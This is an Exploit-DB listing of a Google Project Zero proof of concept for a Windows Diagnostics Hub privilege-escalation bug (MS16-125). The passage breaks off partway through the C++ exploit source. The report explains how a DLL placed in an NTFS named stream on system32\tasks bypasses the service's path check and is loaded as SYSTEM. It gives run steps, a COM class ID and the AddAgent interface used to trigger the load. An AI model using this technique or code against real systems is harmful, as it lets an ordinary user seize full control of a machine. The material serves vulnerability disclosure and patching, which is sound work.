Exploit-DB #40562
Description: Microsoft Windows Diagnostics Hub - DLL Load Privilege Escalation (MS16-125)
Type: local
Platform: windows
Date: 2016-10-17
Author: Google Security Research

Exploit:
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=887

Windows: Diagnostics Hub DLL Load EoP
Platform: Windows 10 10586, not tested 8.1 Update 2 or Windows 7
Class: Elevation of Privilege

Summary:
The fix for CVE-2016-3231 is insufficient to prevent a normal user specifying an insecure agent path leading to arbitrary DLL loading at system privileges.

Description:

CVE-2016-3231 was an issue caused by passing a relative agent path name which allowed the DLL path loaded for the agent DLL to be redirected to another file. This seems to have been fixed and as far as I can tell this issue is no longer exploitable from a sandbox. However the problem is there’s an assumption that it’s not possible to write a file to the system32 directory, which technically is true but practically for this exploit false. 

As I’ve blogged about before, and also submitted bugs (for example MSRC-21233) a normal user can created named streams on directories as long as they have FILE_ADD_FILE access right to the directory. When you do this you create what looks from a path perspective to be in the parent. For example the system32\tasks folder is writable by a normal user, so you can copy a DLL to system32\tasks:abc.dll and when GetFullPathName is called the filename returned is tasks:abc.dll. When the GetValidAgentPath is called it checks if this file is in system32 by using GetFileAttributes, which succeeds and the service will proceed to load the file.

On the fixing side of things, I can’t see an obvious reason why just checking for invalid path characters in the agent path wouldn’t be sufficient (and in fact would arguably have fixed the original bug as well). Of course I think it’s slightly dodgy that you’ll load any DLL from system32, even ones which aren’t agent DLLs. You’d have to find something which was somehow exploitable in a very short time window during DllMain but it might work.

Also I wonder whether they’re any legitimate uses for named streams on NTFS directories? While it’s certainly out of scope perhaps they could only be created by admins? Or perhaps the access check shouldn’t be on the target directories but its parent directory where the effective file appears to be located. 

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You’ll also need a DLL to test load, I’ve not provided one of these but any should do, as long as it matches the bitness of the OS.

1) Compile the C++ source code file.
2) Execute the poc passing the path to the DLL you want to load in the service as a normal user.
3) It should print that the DLL was loaded successfully.

Expected Result:
The loading of a DLL fails as the path is rejected.

Observed Result:
The DLL is loaded successfully.
*/


// ExploitCollector.cpp : Defines the entry point for the console application.
//

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <comdef.h>
#include <strsafe.h>

GUID CLSID_CollectorService = 
  { 0x42CBFAA7, 0xA4A7, 0x47BB,{ 0xB4, 0x22, 0xBD, 0x10, 0xE9, 0xD0, 0x27, 0x00, } };

class __declspec(uuid("f23721ef-7205-4319-83a0-60078d3ca922")) ICollectionSession : public IUnknown {
public:

  virtual HRESULT __stdcall PostStringToListener(REFGUID, LPWSTR) = 0;
  virtual HRESULT __stdcall PostBytesToListener() = 0;
  virtual HRESULT __stdcall AddAgent(LPWSTR path, REFGUID) = 0;
    //.rdata:[PII_REDACTED]                 dq offset ? Start@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Start(tagVARIANT *)
    //.rdata:[PII_REDACTED]                 dq offset ? GetCurrentResult@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJFPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetCurrentResult(short, tagVARIANT *)
    //.rdata:[PII_REDACTED]                 dq offset ? Pause@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJXZ; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Pause(void)
    //.rdata:[PII_REDACTED]                 dq offset ? Resume@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJXZ; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Resume(void)
    //.rdata:[PII_REDACTED]                 dq offset ? Stop@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAUtagVARIANT@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::Stop(tagVARIANT *)
    //.rdata:[PII_REDACTED]                 dq offset ? TriggerEvent@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJW4SessionEvent@@PEAUtagVARIANT@@11@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::TriggerEvent(SessionEvent, tagVARIANT *, tagVARIANT *, tagVARIANT *)
    //.rdata:[PII_REDACTED]                 dq offset ? GetGraphDataUpdates@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJAEBU_GUID@@PEAUtagSAFEARRAY@@PEAUGraphDataUpdates@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetGraphDataUpdates(_GUID const &, tagSAFEARRAY *, GraphDataUpdates *)
    //.rdata:[PII_REDACTED]0358A0                 dq offset ? QueryState@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAW4SessionState@@@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::QueryState(SessionState *)
    //.rdata:[PII_REDACTED]0358A8                 dq offset ? GetStatusChangeEventName@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAPEAG@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSession::GetStatusChangeEventName(ushort * *)
    //.rdata:[PII_REDACTED]0358B0                 dq offset ? GetLastError@EtwCollectionSession@StandardCollector@DiagnosticsHub@Microsoft@@UEAAJPEAJ@Z; Microsoft::DiagnosticsHub::StandardCollector::EtwCollectionSes